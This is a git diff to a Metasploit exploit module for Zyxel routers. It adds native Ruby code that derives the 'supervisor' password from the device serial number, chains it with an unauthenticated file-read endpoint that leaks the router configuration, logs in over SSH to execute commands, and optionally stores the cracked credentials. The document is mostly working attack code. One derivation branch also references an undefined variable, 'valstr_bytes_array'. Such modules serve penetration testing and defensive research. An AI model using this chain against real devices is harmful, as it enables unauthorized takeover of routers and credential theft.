diff --git a/modules/exploits/linux/http/zyxel_lfi_unauth_ssh_rce.rb b/modules/exploits/linux/http/zyxel_lfi_unauth_ssh_rce.rb index 8c241992c0..3645807703 100644 --- a/modules/exploits/linux/http/zyxel_lfi_unauth_ssh_rce.rb +++ b/modules/exploits/linux/http/zyxel_lfi_unauth_ssh_rce.rb @@ -4,6 +4,7 @@ ## require 'socket' +require 'digest/md5' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -19,16 +20,16 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Zyxel chained RCE using LFI and weak AES encryption', + 'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm', 'Description' => %q{ This module exploits multiple vulnerabilities in the zhttpd binary (/bin/zhttpd) and zcmd binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices. The remote code execution vulnerability can be exploited by chaining the local file disclosure - vulnerability in the zhttp binary that allows an unauthenticated attacker to read the entire configuration + vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`. With this information disclosure, the attacker can determine if the router is reachable via ssh - and uses the second vulnerability in the` zcmd` binary to derive the `supervisor` password exploiting - a weak implementation of AES symmetric encrypting with static keys using the device serial number. + and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting + a weak implementation of a password derivation algorithm using the device serial number. After exploitation, an attacker will be able to execute any command as user `supervisor`. }, @@ -101,6 +102,11 @@ class MetasploitModule < Msf::Exploit::Remote } ) ) + register_options( + [ + OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true]) + ] + ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), @@ -109,6 +115,187 @@ class MetasploitModule < Msf::Exploit::Remote ) end + # supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers + # based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm + # https://github.com/boginw/zyxel-vmg8825-keygen + + def double_hash(input, size = 8) + # ROUND 1 + # take the MD5 hash from the serial number SXXXXXXXXXXXX + # this returns a hash of 32 char bytes. + # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char + # store two char bytes in round1 and continue with next two char bytes from the hash. + md5_str_array = Digest::MD5.hexdigest(input).split(//) + round1_str_array = Array.new(32) + j = 0 + until j == 32 + if md5_str_array[j] == '0' + round1_str_array[j] = md5_str_array[j + 1] + else + round1_str_array[j] = md5_str_array[j] + end + round1_str_array[j + 1] = md5_str_array[j + 1] + j += 2 + end + round1 = round1_str_array.join + # ROUND 2 + # take the MD5 hash from the result of round1 + # returns a hash of 32 char bytes. + # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char + # store two char bytes in round2 and continue with next two char bytes. + md5_str_array = Digest::MD5.hexdigest(round1).split(//) + round2_str_array = Array.new(32) + j = 0 + until j == 32 + if md5_str_array[j] == '0' + round2_str_array[j] = md5_str_array[j + 1] + else + round2_str_array[j] = md5_str_array[j] + end + round2_str_array[j + 1] = md5_str_array[j + 1] + j += 2 + end + # ROUND 3 + # take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3 + # to create the final password hash with defined number (size) of alphanumeric characters and return the final result + round3_str_array = Array.new(size) + for i in 0..(size - 1) do + round3_str_array[i] = round2_str_array[i * 3] + end + round3 = round3_str_array.join + return round3 + end + + def mod3_key_generator(seed) + # key generator function used in the SerialNumMethod3 pasword derivation function + round4_array = Array.new(16, 0) + found0s = 0 + found1s = 0 + found2s = 0 + + while (found0s == 0) || (found1s == 0) || (found2s == 0) + found0s = 0 + found1s = 0 + found2s = 0 + + power_of_2 = 1 + seed += 1 + + for i in 0..9 do + round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor + if (round4_array[i] == 1) + found1s += 1 + elsif (round4_array[i]) == 2 + found2s += 1 + else + found0s += 1 + end + power_of_2 = power_of_2 << 1 + end + end + return seed, round4_array + end + + def serial_num_method2(serial_number) + # SerialNumMethod2 password derivation function + pwd = double_hash(serial_number) + return pwd + end + + def serial_num_method3(serial_number) + # SerialNumMethod3 password derivation function + + # constant definitions + keystr1_byte_array = 'IO'.bytes.to_a + keystr2_byte_array = 'lo'.bytes.to_a + keystr3_byte_array = '10'.bytes.to_a + valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a + offset1 = 0x8 + offset2 = 0x20 + + round3 = double_hash(serial_number, 10) + round3.upcase! + round3_byte_array = round3.bytes.to_a + + md5_str = Digest::MD5.hexdigest(serial_number) + md5_str_array = md5_str.split(//) + offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5] + + result = mod3_key_generator(offset.to_i(16)) + offset = result[0] + round4 = result[1] + + for i in 0..9 do + if round4[i] == 1 + new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i + round3_byte_array[i] = new_val + for j in 0..1 do + next unless (round3_byte_array[i] == keystr1_byte_array[j]) + + index = offset1 + ((offset + j) % 0x18) + round3_byte_array[i] = valstr_byte_array[index] + break + end + elsif round4[i] == 2 + new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i + round3_byte_array[i] = new_val + for j in 0..1 do + next unless (round3_byte_array[i] == keystr2_byte_array[j]) + + index = offset2 + ((offset + j) % 0x18) + round3_byte_array[i] = valstr_bytes_array[index] + break + end + else + new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i + round3_byte_array[i] = new_val + for j in 0..1 do + next unless (round3_byte_array[i] == keystr3_byte_array[j]) + + var = ((offset + j) >> 0x1f) >> 0x1d + index = ((offset + j + var) & 7) - var + round3_byte_array[i] = valstr_byte_array[index] + break + end + end + end + pwd = round3_byte_array.pack('C*') + return pwd + end + + def crack_supervisor_pwd(serial) + # crack supervisor password using the device serial number + # there are two confirmed hashing functions that can derive the supervisor password from the serial number: + # SerialNumMethod2 and SerialNumMethod3 + # both passwords candidates will be returned as hashes + + hash_pwd = { 'method2' => nil, 'method3' => nil } + # SerialNumMethod2 + hash_pwd['method2'] = serial_num_method2(serial) + # SerialNumMethod3 + hash_pwd['method3'] = serial_num_method3(serial) + + print_status("decrypted password SerialNumMethod3: #{hash_pwd['method3']}") + print_status("decrypted password SerialNumMethod2: #{hash_pwd['method2']}") + return hash_pwd + end + + def report_creds(user, pwd) + credential_data = { + module_fullname: fullname, + username: user, + private_data: pwd, + private_type: :password, + workspace_id: myworkspace_id, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_details) + + cred_res = create_credential_and_login(credential_data) + unless cred_res.nil? + print_status("Credentials for user:#{user} are added to the database...") + end + end + def get_configuration # Get the device configuration by exploiting the LFI vulnerability return send_request_cgi({ @@ -138,55 +325,23 @@ class MetasploitModule < Msf::Exploit::Remote hash_config['software'] = res_json['DeviceInfo']['SoftwareVersion'] if !res_json.dig('DeviceInfo', 'SoftwareVersion').nil? hash_config['serial'] = res_json['DeviceInfo']['SerialNumber'] if !res_json.dig('DeviceInfo', 'SerialNumber').nil? - if !res_json.dig('X_ZYXEL_LoginCfg', 'LogGp').nil? - res_json['X_ZYXEL_LoginCfg']['LogGp'].map do |login| - if !login['Account'].nil? && hash_config['ssh_user'] != 'supervisor' - login['Account'].map do |account| - if account['Username'] == 'supervisor' - hash_config['ssh_user'] = account['Username'] - break - end - end - else - break - end - end + login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp') + unless login_cfg.nil? + hash_config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor' end - if !res_json.dig('X_ZYXEL_RemoteManagement', 'Service').nil? - res_json['X_ZYXEL_RemoteManagement']['Service'].map do |service| - next unless service['Name'] == 'SSH' + remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service') + unless remote_service.nil? + service = remote_service.select { |s| s['Name'] == 'SSH' }.first + if !service.blank? && (service['Name'] == 'SSH') hash_config['ssh_port'] = service['Port'] hash_config['ssh_wan_access'] = service['Mode'] hash_config['ssh_service_enabled'] = service['Enable'] - break end end return hash_config end - def crack_supervisor_pwd(serial) - # crack supervisor password by exploiting a weak implementation of AES symmetric encrypting with static keys using the device serial number - # using system call for now. TODO: rewrite functions in native ruby - # there are two confirmed hashing functions that can derive the supervisor password from the serial number, called SerialNumMethod2 and SerialNumMethod3 - # both passwords will be returned in a password hash - - hash_pwd = { 'method2' => nil, 'method3' => nil } - # SerialNumMethod2 - result = `python ~/zyxel_exploit/zyxel-vmg8825-keygen/main.py -f zcfgBeCommonGenKeyBySerialNumMethod2 #{serial}` - pwd = result.partition(':') - hash_pwd['method2'] = pwd.last.strip - - # SerialNumMethod3 - result = `python ~/zyxel_exploit/zyxel-vmg8825-keygen/main.py -f zcfgBeCommonGenKeyBySerialNumMethod3 #{serial}` - pwd = result.partition(':') - hash_pwd['method3'] = pwd.last.strip - - print_status("decrypted password SerialNumMethod3: #{hash_pwd['method3']}") - print_status("decrypted password SerialNumMethod2: #{hash_pwd['method2']}") - return hash_pwd - end - def execute_command(cmd, _opts = {}) print_status("Executing #{cmd}") begin @@ -249,13 +404,16 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.') end - # check if ssh_port is open, ssh service is enabled and accessible from the WAN side - if config['ssh_wan_access'] == 'LAN_WAN' && config['ssh_service_enabled'] && check_port(config['ssh_port']) - return CheckCode::Vulnerable - elsif !config['ssh_service_enabled'] - return CheckCode::Safe('SSH service is NOT available.') + # check if ssh service is enabled + # if true then check ssh_port is open and ssh service is accessible from the WAN side + if config['ssh_service_enabled'] + if config['ssh_wan_access'] == 'LAN_WAN' && check_port(config['ssh_port']) + return CheckCode::Vulnerable + else + return CheckCode::Detected("WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.") + end else - return CheckCode::Detected("WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.") + return CheckCode::Safe('SSH service is NOT available.') end end @@ -272,17 +430,29 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotVulnerable, 'Device serial, supervisor user, SSH port or SSH WAN access/service status not found.') end - if config['ssh_wan_access'] == 'LAN_WAN' && config['ssh_service_enabled'] && check_port(config['ssh_port']) - print_status("SSH service is available and SSH Port #{config['ssh_port']} is open. Continue to login.") - elsif !config['ssh_service_enabled'] - fail_with(Failure::NotVulnerable, 'SSH service is NOT available.') + # check if ssh service is enabled + # if true then check ssh_port is open and ssh service is accessible from the WAN side + if config['ssh_service_enabled'] + if config['ssh_wan_access'] == 'LAN_WAN' && check_port(config['ssh_port']) + print_status("SSH service is available and SSH Port #{config['ssh_port']} is open. Continue to login.") + else + fail_with(Failure::Unreachable, "WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.") + end else - fail_with(Failure::Unreachable, "WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.") + fail_with(Failure::NotVulnerable, 'SSH service is NOT available.') end + # derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3 supervisor_pwd = crack_supervisor_pwd(config['serial']) - # try supervisor password generated by SerialNumMethod3 first, if it fails then try the password generated by SerialNumMethod2 - if !do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method3'], config['ssh_port']) && !do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method2'], config['ssh_port']) + + # try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2 + if do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method3'], config['ssh_port']) + print_status('Authentication with derived supervisor password using Method3 is successful.') + report_creds(config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED'] + elsif do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method2'], config['ssh_port']) + print_status('Authentication with derived supervisor password using Method2 is successful.') + report_creds(config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED'] + else fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.') end